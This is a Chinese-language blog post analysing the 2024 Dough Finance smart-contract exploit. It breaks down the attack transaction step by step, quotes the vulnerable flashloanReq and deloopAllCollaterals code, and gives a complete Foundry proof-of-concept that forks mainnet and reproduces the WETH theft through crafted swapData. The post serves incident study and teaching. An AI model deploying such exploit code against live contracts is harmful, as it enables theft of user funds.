{"author":{"address":null,"user":"https://learnblockchain.cn/people/21890"},"content":{"body":"7.12 DoughFinance合约遭受攻击，损失约1.8M（https://x.com/Phalcon_xyz/status/1811661050707607889） 我对这个攻击进行了代码分析和步骤分解，并写了一个基于foundry的poc。\r\n之前觉得web3不存在Remote Code Execution，现在看是我浅薄了。\r\n# 基本信息\r\n攻击交易：https://app.blocksec.com/explorer/tx/eth/0x92cdcc732eebf47200ea56123716e337f6ef7d5ad714a2295794fdc6031ebb2e?line=76\r\n受害合约代码：\r\nhttps://vscode.blockscan.com/ethereum/0x9f54e8eaa9658316bb8006e03fff1cb191aafbe6\r\n受害与攻击者链上message transaction：https://etherscan.io/tx/0x38ad3247c6420518c829ff1163c36cd564de5a72b1eaf800437827365e6c4e85\r\n受害合约官方文档：\r\nhttps://docs.dough.finance/\r\n# 攻击交易步骤解析\r\n下面我对攻击中重点步骤进行解释：\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/B56yRBGf66aa271203796.png)\r\n- 5行：从balancer里借出usdc闪电贷(USDC 938,566,826,811)\r\n- 12行：balancer回调攻击合约的receiveFlashLoan方法。黑客的攻击逻辑就是在这个步骤里实现的。\r\n- 13-16行:攻击合约给替doughDSA合约偿还在aave中的借贷。（黑客为什么帮被害合约还款？我的推测是，后面要调用被害合约的闪电贷逻辑，这个逻辑最底层是调用aave的闪电贷，如果这个时候被害合约已经有aave欠款，那么后面就无法顺利调用有漏洞的逻辑。）\r\n- 45行：攻击合约给ConnectorDeleverageParaswap合约 转了6U的USDC。为什么要这么做：当后续步骤调用他的闪电贷借贷5U，他底层逻辑调用需要转给doughDSA 5U，所以他必须至少有5U。\r\n- 52行：攻击重点代码：攻击合约从ConnectorDeleverageParaswap合约中调用方法flashloanReq借出闪电贷，币种是usdc，价值5,000,000。其实这个数不大，去掉精度就只有5U，只是想触发后面的漏洞代码。在这次调用中，最后一个参数“SwapData”是byte类型，这个bytes最终会被解析成7个参数然后被doughDSA的call执行，黑客就是伪造了这个swapData参数，让doughDSA合约call了weth的transferFrom方法，直接给黑客合约transfer了大量的weth。具体构造信息可以看我的PoC的109行和119行。\r\n- 53行：ConnectorDeleverageParaswap的flashloanReq底层调用了aace flashloan，所以ConnectorDeleverageParaswap实现闪电贷的逻辑就是帮用户向aave进行闪电贷，自己是一个中间商。\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/Xsh7Kadb66aa273e03c0c.png)\r\n- 63行：因为52调用了ConnectorDeleverageParaswap的闪电贷，所以63行回调闪电贷的executeOperation的还款逻辑。\r\n- 69行：攻击者合约执行闪电贷回调逻辑executionAction。这里面可以看出，黑客的没有实现任何逻辑，只是一个空函数。\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/TLvu2yvZ66aa27619b17f.png)\r\n- 144行：回到ConnectorDeleverageParaswap的闪电贷回调逻辑，ConnectorDeleverageParaswap授权aave 最大数量的usdc转账额度。\r\n- 147行：由于第52行的swapData注入了攻击参数，DoughDSA合约划转596,844,648,055,377,423,623个weth给攻击合约。这个就是最后导致资损的操作。\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/Ih37bAru66aa2777cc266.png)\r\n- 209-212行：攻击合约通过uniswap 把偷到的weth换成UDSC。（因为还要还balancer的闪电贷，不把weth换成usdc无法偿还全部额度。）\r\n- 225行：攻击合约偿还balancer闪电贷。\r\n- 230行：攻击合约把获利转到自己的钱包。最终完成攻击合约自己的闪电贷逻辑。\r\n# 问题代码分析\r\n漏洞代码：https://vscode.blockscan.com/ethereum/0x9f54e8eaa9658316bb8006e03fff1cb191aafbe6\r\nflashloanReq方法是用户用来调用闪电贷的外部方法，在生命中可以看到最后一个参数swapData会被解析成data然后传入flashloan函数。\r\n\r\n\r\n    function flashloanReq(bool _opt, address[] memory debtTokens, uint256[] memory debtAmounts, uint256[] memory debtRateMode, address[] memory collateralTokens, uint256[] memory collateralAmounts, bytes[] memory swapData) external {\r\n        bytes memory data = abi.encode(_opt, msg.sender, collateralTokens, collateralAmounts, swapData);\r\n        IPool(address(POOL)).flashLoan(address(this), debtTokens, debtAmounts, debtRateMode, address(this), data, 0);\r\n    }\r\n这个flashloan最终会调用executeOperation方法，并且data参数也传入了进来。在下面代码的第六行，data参数被decode成5个变量，包括一个bytes数组类型的变量multiTokenSwapData。这个变量作为参数传入到deloopInOneOrMultipleTransactions方法。\r\n\r\n    function executeOperation(address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address initiator, bytes calldata data) external override returns (bool) {\r\n        if (initiator != address(this)) revert CustomError(\"not-same-sender\");\r\n        if (msg.sender != address(POOL)) revert CustomError(\"not-aave-sender\");\r\n\r\n        FlashloanVars memory flashloanVars;\r\n        (flashloanVars.opt, flashloanVars.dsaAddress, flashloanVars.collateralTokens, flashloanVars.collateralAmounts, flashloanVars.multiTokenSwapData) = abi.decode(data, (bool, address, address[], uint256[], bytes[]));\r\n\r\n        deloopInOneOrMultipleTransactions(flashloanVars.opt, flashloanVars.dsaAddress, assets, amounts, premiums, flashloanVars.collateralTokens, flashloanVars.collateralAmounts, flashloanVars.multiTokenSwapData);\r\n\r\n        return true;\r\n    }\r\ndeloopInOneOrMultipleTransactions方法中,multiTokenSwapData变量被传入到deloopAllCollaterals\r\n\r\n    function deloopInOneOrMultipleTransactions(bool opt, address _dsaAddress, address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address[] memory collateralTokens, uint256[] memory collateralAmounts, bytes[] memory multiTokenSwapData) private {\r\n        // Repay all flashloan assets or withdraw all collaterals\r\n        repayAllDebtAssetsWithFlashLoan(opt, _dsaAddress, assets, amounts);\r\n\r\n        // Extract all collaterals\r\n        extractAllCollaterals(_dsaAddress, collateralTokens, collateralAmounts); \r\n\r\n        // Deloop all collaterals\r\n        deloopAllCollaterals(multiTokenSwapData);\r\n\r\n        // Repay all flashloan assets or withdraw all collaterals\r\n        repayFlashloansAndTransferToTreasury(opt, _dsaAddress, assets, amounts, premiums);\r\n    }\r\ndeloopAllCollaterals方法中，multiTokenSwapData被解码成7个变量，并且第6个变量代表一个合约地址，第7个变量代表要调用的这个合约某个方法的声明（例如：transferFrom(address,address,uint256)）。\r\n所以在下述代码的第10行，黑客通过构造最终的swapData，让weth合约从doughDSA合约中转出了大量的weth给黑客合约。\r\n\r\n    function deloopAllCollaterals(bytes[] memory multiTokenSwapData) private {        \r\n        FlashloanVars memory flashloanVars;\r\n\r\n        for (uint i = 0; i \u003c multiTokenSwapData.length;) {\r\n            // Deloop\r\n            (flashloanVars.srcToken, flashloanVars.destToken, flashloanVars.srcAmount, flashloanVars.destAmount, flashloanVars.paraSwapContract, flashloanVars.tokenTransferProxy, flashloanVars.paraswapCallData) = _getParaswapData(multiTokenSwapData[i]);\r\n\r\n            // using ParaSwap\r\n            IERC20(flashloanVars.srcToken).safeIncreaseAllowance(flashloanVars.tokenTransferProxy, flashloanVars.srcAmount);\r\n            (flashloanVars.sent, ) = flashloanVars.paraSwapContract.call(flashloanVars.paraswapCallData);\r\n            if (!flashloanVars.sent) revert CustomError(\"ParaSwap deloop failed\");\r\n\r\n            unchecked { i++; }\r\n        }\r\n    }\r\n    \r\n# PoC\r\nPoC思路还是比较简单的：\r\n1. 借balancer闪电贷\r\n2. 帮doughDSA偿还欠aave的钱\r\n3. 给doughConnector转6u以防他后续操作没有钱\r\n4. 调用doughConnect的闪电贷，把恶意swapData传入\r\n5. 把不法所得weth换成usdc，然后偿还balance闪电贷\r\n通过在foundry上运行poc，一次可套利83W个USDC：\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/YydQ7hCJ66aa2877759a2.png)\r\n\r\n代码如下：\r\n\r\n```// SPDX-License-Identifier: UNLICENSED\r\npragma solidity ^0.8.13;\r\n\r\nimport  \"forge-std/Test.sol\";\r\nimport \"./interface.sol\";\r\n\r\ncontract doughFianceAttack is Test {\r\n    address balancerVaultAddress=0xBA12222222228d8Ba445958a75a0704d566BF2C8;\r\n    address aaveDebtUsdcToken=0x72E95b8931767C79bA4EeE721354d6E99a61D004;\r\n    address aavePoolV3Address=0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;\r\n    address UniswapV2Router=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\r\n    address circleUSDCToken=0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\r\n    address doughDsa=0x534a3bb1eCB886cE9E7632e33D97BF22f838d085;\r\n    address doughConnector=0x9f54e8eAa9658316Bb8006E03FFF1cb191AafBE6;\r\n    address wethAddress=0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\r\n\r\n    struct FlashloanVars {\r\n        address dsaAddress;\r\n        address srcToken;\r\n        address destToken;\r\n        address paraSwapContract;\r\n        address tokenTransferProxy;\r\n        uint256 srcAmount;\r\n        uint256 destAmount;\r\n        bool opt; // deloop 100% or in multiple steps\r\n        bool sent;\r\n        bytes paraswapCallData;\r\n        bytes[] multiTokenSwapData;\r\n        address[] debtTokens;\r\n        address[] collateralTokens;\r\n        uint256[] debtAmounts;\r\n        uint256[] debtRateMode;\r\n        uint256[] collateralAmounts;\r\n    }\r\n\r\n    function setUp() external {\r\n\r\n        vm.createSelectFork(\"https://eth.llamarpc.com\", 20288623 - 1);\r\n        deal(address(circleUSDCToken), address(this), 7e6);\r\n\r\n    }\r\n\r\n    function testAttack() external{\r\n        //0. 先打印攻击前账户余额\r\n        console.log(\"*******************before attack*******************\");\r\n        console.log(\"USDC: \",IERC20(circleUSDCToken).balanceOf(address(this)));\r\n        //1. 闪电贷\r\n        uint256 flashLoanAmount=IERC20(aaveDebtUsdcToken).balanceOf(0x534a3bb1eCB886cE9E7632e33D97BF22f838d085);\r\n        address[] memory tokens=new address[](1);\r\n        tokens[0]=circleUSDCToken;\r\n        uint256[] memory amounts=new uint256[](1);\r\n        amounts [0]=flashLoanAmount;\r\n        (FlashloanVars memory flashloanVars1,FlashloanVars memory flashloanVars2)=createMaliciousData();\r\n        bytes memory maliciousUserData=abi.encode([flashloanVars1,flashloanVars2]);\r\n        iBalancerVault(payable(balancerVaultAddress)).flashLoan(address(this),tokens,amounts,maliciousUserData);\r\n    }\r\n\r\n    function receiveFlashLoan (address[] memory tokens,uint256[] memory amounts,uint256[] memory feeAmounts,bytes memory userData) external {\r\n        //2. 替doughDsa还掉当前在aave的借贷,虽然我没想明白为什么帮它还款？？？？\r\n        IERC20(circleUSDCToken).approve(aavePoolV3Address,type(uint256).max);\r\n        InitializableImmutableAdminUpgradeabilityProxy aavePoolV3 = InitializableImmutableAdminUpgradeabilityProxy(payable(aavePoolV3Address));\r\n        aavePoolV3.repay(circleUSDCToken,amounts[0],2,doughDsa);\r\n        //3. 给dough转6个 USDC\r\n        IERC20(circleUSDCToken).approve(address(this),type(uint256).max);\r\n        IERC20(circleUSDCToken).transferFrom(address(this),doughConnector,6e6);\r\n        //4. 调用dough的闪电贷，并把精心构造的恶意userData作为参数传入。\r\n        ConnectorDeleverageParaswap DoughConnector = ConnectorDeleverageParaswap(payable(doughConnector));\r\n        uint256[] memory doughFlashDebtAmounts=new uint256[](1);\r\n        doughFlashDebtAmounts[0]=5e6;\r\n        uint256[] memory doughFlashRateModes=new uint256[](1);\r\n        doughFlashRateModes[0]=0;\r\n        address[] memory doughFlashCollaterals=new address[](0);\r\n        uint256[] memory doughFlashAmounts=new uint256[](0);\r\n       (FlashloanVars memory flashloanVars1,FlashloanVars memory flashloanVars2)=createMaliciousData();\r\n        bytes[] memory maliciousUserData = new bytes[](2);\r\n         maliciousUserData[0]=abi.encode(flashloanVars1.srcToken,flashloanVars1.destToken,flashloanVars1.srcAmount,flashloanVars1.destAmount,flashloanVars1.paraSwapContract,flashloanVars1.tokenTransferProxy,flashloanVars1.paraswapCallData);\r\n         maliciousUserData[1]=abi.encode(flashloanVars2.srcToken,flashloanVars2.destToken,flashloanVars2.srcAmount,flashloanVars2.destAmount,flashloanVars2.paraSwapContract,flashloanVars2.tokenTransferProxy,flashloanVars2.paraswapCallData);\r\n\r\n        DoughConnector.flashloanReq(false,tokens,doughFlashDebtAmounts,doughFlashRateModes,doughFlashCollaterals,doughFlashAmounts,maliciousUserData);\r\n\r\n        //5.把薅来的weth换成usdc，用于最后还闪电贷\r\n        uint256 wethBalance=IERC20(wethAddress).balanceOf(address(this));\r\n        IERC20(wethAddress).approve(UniswapV2Router,type(uint256).max);\r\n        //IERC20(wethAddress).approve(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc,type(uint256).max);\r\n        uint256 wethBalance2=IERC20(wethAddress).balanceOf(address(this));\r\n        address[] memory swapAddress=new address[](2);\r\n        swapAddress[0]=wethAddress;\r\n        swapAddress[1]=circleUSDCToken;\r\n        UniswapV2Router02(payable(UniswapV2Router)).swapExactTokensForTokens(wethBalance2,0,swapAddress,address(this),496744648055377423623);\r\n\r\n        //6.还balancerVault闪电贷\r\n        IERC20(circleUSDCToken).transfer(balancerVaultAddress,amounts[0]);\r\n        //0. 打印攻击后账户余额\r\n        console.log(\"*******************after attack*******************\");\r\n        console.log(\"USDC: \",IERC20(circleUSDCToken).balanceOf(address(this)));\r\n    }\r\n    function executeAction(uint256 connectorId, address tokenIn, uint256 amountIn, address toeknOut, uint256 amountOut, uint256 actionId) external{\r\n    }\r\n\r\n    function createMaliciousData() private returns(FlashloanVars memory data1,FlashloanVars memory data2){\r\n        //\r\n        FlashloanVars memory flashloanVars1;\r\n        flashloanVars1.srcToken=circleUSDCToken;\r\n        flashloanVars1.destToken=circleUSDCToken;\r\n        flashloanVars1.srcAmount=type(uint128).max;\r\n        flashloanVars1.destAmount=type(uint128).max;\r\n        flashloanVars1.paraSwapContract=doughDsa;\r\n        flashloanVars1.tokenTransferProxy=doughDsa;\r\n        bytes4 selector1=bytes4(keccak256(\"executeAction(uint256,address,uint256,address,uint256,uint256)\"));\r\n        flashloanVars1.paraswapCallData=abi.encodeWithSelector(selector1, 22,circleUSDCToken,5e6,wethAddress,596744648055377423623,2);\r\n\r\n        FlashloanVars memory flashloanVars2;\r\n        flashloanVars2.srcToken=circleUSDCToken;\r\n        flashloanVars2.destToken=circleUSDCToken;\r\n        flashloanVars2.srcAmount=type(uint128).max;\r\n        flashloanVars2.destAmount=type(uint128).max;\r\n        flashloanVars2.paraSwapContract=wethAddress;\r\n        flashloanVars2.tokenTransferProxy=aavePoolV3Address;\r\n        bytes4 selector2=bytes4(keccak256(\"transferFrom(address,address,uint256)\"));\r\n        flashloanVars2.paraswapCallData=abi.encodeWithSelector(selector2, doughDsa,address(this),596744648055377423623);\r\n        return (flashloanVars1,flashloanVars2);\r\n\r\n    }\r\n    receive() external payable {}\r\n}\r\n```\r\n# 经验总结\r\n1. 写poc的时候也学习了下abi，很好的一次尝试，收获很多。之前看到传bytes参数都想绕着走，这回不得不面对。\r\n2. 底层方法call使用的时候要谨慎，因为不好确认最终执行的方法是什么。\r\n3. 用户输入检查一万遍也是值得的，无论在web2还是web3.\r\n# Reference\r\n1. 一篇英文分析：https://www.certik.com/resources/blog/3SMOuGMCSttY4pQW6I49W2-dough-finance-incident-analysis\r\n2. 写poc卡住的时候，我参考了这个poc（主要是bytes userInput的生成我偷瞄了他的写法）：https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2024-07/DoughFina_exp.sol","title":"Dough Finance攻击事件---合约也有RCE"},"history":null,"timestamp":1722427751,"version":1}